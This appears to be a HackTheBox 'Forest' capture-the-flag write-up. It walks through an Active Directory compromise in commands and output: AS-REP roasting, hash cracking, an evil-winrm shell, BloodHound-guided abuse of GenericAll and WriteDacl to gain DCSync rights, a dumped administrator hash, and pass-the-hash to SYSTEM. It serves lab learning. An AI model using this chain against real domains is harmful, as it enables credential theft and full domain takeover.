An easy box from HackTheBox, entirely AD - first get a user hash by AS-REP roasting and crack it for initial access with evil-winrm, then scrape AD information and use bloodhound to find a path to domain admin via group misconfigurations.


Running the usual nmap

sudo nmap -sC -sV -Pn -oA nmap/init
88/tcp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-09-29 01:41:27Z)
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open  microsof�   Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open  kpasswd5?
593/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp open  tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 3h36m50s, deviation: 4h57m01s, median: 6m48s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   NetBIOS computer name: FOREST\x00
|   Workgroup: HTB\x00
|_  System time: 2022-09-28T18:41:33-07:00

Noting the domain


Try to list SMB shares with smbclient, but error out

Next try to enumerate LDAP

georgy@pop-os:~/Documents/htb/forest$ ldapsearch -H ldap:// -x -s base namingcontexts

# extended LDIF
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 

namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Moving forward with another LDAP search get a huuuuge amount of output, meaning that we don’t need to authenticate to query the LDAP on the machine

georgy@pop-os:~/Documents/htb/forest$ ldapsearch -x -b "DC=htb,DC=local" -H ldap://


Now that we know we have unauthenticated access, can try to extract some juicy information from RPC with RPC client


Using rpcclient

georgy@pop-os:~/Documents/htb/forest$ rpcclient -U '' -N

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Put these users into a list, “users”


And lets see if we can get their hashes using impacket with a lil AS-REP roast

georgy@pop-os:~/Documents/htb/forest$ for user in $(cat users); do /opt/impacket/examples/ -no-pass -dc-ip htb/${user}; done
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for Administrator
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for sebastien
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for lucinda
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for svc-alfresco
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for andy
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for mark
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for santi
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set

And we get a hash!

Lets try to break it with hashcat and the rockyou.txt wordlist

georgy@pop-os:~/Documents/htb/forest$ hashcat -m 18200 hash /opt/seclists/Passwords/Leaked-Databases/rockyou.txt --force




Cracked! svc-alfresco:s3rvice

Now lets try evil-winrm with these creds, and get a shell!

georgy@pop-os:~/Documents/htb/forest$ evil-winrm -i -u svc-alfresco -p s3rvice


*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>

Since this is a domain controller, lets get some information with bloodhound, using the SharpHound.ps1 collector

Send it over using a python server, and on the victim

*Evil-WinRM* PS C:\Users\svc-alfresco> invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice

Export the file by copying it to a smb server on localhost, then import it into bloodhound

Then right click on the svc-alfresco user, and select “set as starting point”, and then right click the top level domain “HTB.LOCAL” and select “set as desination”

Now have a path from our current user to owning the domain, can right click on the edges of the graph to see example commands for how we progress

To get to domain admin, need to travel through 2 edges (the ones preceeding are “MemberOf”, dont need to abuse those)

Copying directly from “abuse info” tab on the “Generic All” edge:

Help message for GenericAll

To abuse this privilege with PowerView’s Add-DomainGroupMember, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as a member of ACCOUNT OPERATORS@HTB.LOCAL if you are not running a process as a member. To do this in conjunction with Add-DomainGroupMember, first create a PSCredential object (these examples comes from the PowerView help documentation):

$SecPassword = ConvertTo-SecureString 's3cret' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('svc-alfresco', $SecPassword)

Then, use Add-DomainGroupMember, optionally specifying $Cred if you are not already running a process as ACCOUNT OPERATORS@HTB.LOCAL:

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'svc-alfresco' -Credential $Cred

Finally, verify that the user was successfully added to the group with PowerView’s Get-DomainGroupMember:

Get-DomainGroupMember -Identity 'Domain Admins'

Back to exploitation

First, need to import PowerView.ps1, so copy it off a local SMB server, and source it with the full path

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Import-Module C:\Users\svc-alfresco\Documents\PowerView.ps1

Lets create a new user so we dont accidentally ruin this one, and then since we have GenericAll privs, can just add the new user to the “Exchange Windows Permissions” group

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user pwned Password! /add
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString 'Password!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB\pwned', $SecPassword)

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" /add pwned
The command completed successfully.

From here, go back to bloodhound to see what it says about the next edge, WriteDacl

Help message for WriteDacl

Use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL:

Add-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync

Once you have granted yourself this privilege, you may use the mimikatz dcsync function to dcsync the password of arbitrary principals on the domain

lsadump::dcsync /domain:testlab.local /user:Administrator

Cleanup can be done using the Remove-DomainObjectAcl function:

Remove-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync

Exploiting WriteDacl

Alright, now can use WriteDacl to use a DCSync attack - first need to give “pwned” user the rights

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity pwned -Rights DCSync

Now can use an impacket script to dump the hashes via DCSync

georgy@pop-os:/opt/impacket$ python3 examples/ htb.local/pwned:'Password!'@


Now passing in the hash to crackmapexec, pwn the admin!

georgy@pop-os:/opt/impacket$ cme smb -u administrator -H aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

SMB    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB    445    FOREST           [+] htb.local\administrator:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!)

Now connect to the machine with

python3 /opt/impacket/examples/ -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file bWfdoTet.exe
[*] Opening SVCManager on
[*] Creating service fazS on
[*] Starting service fazS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

And have SYSTEM!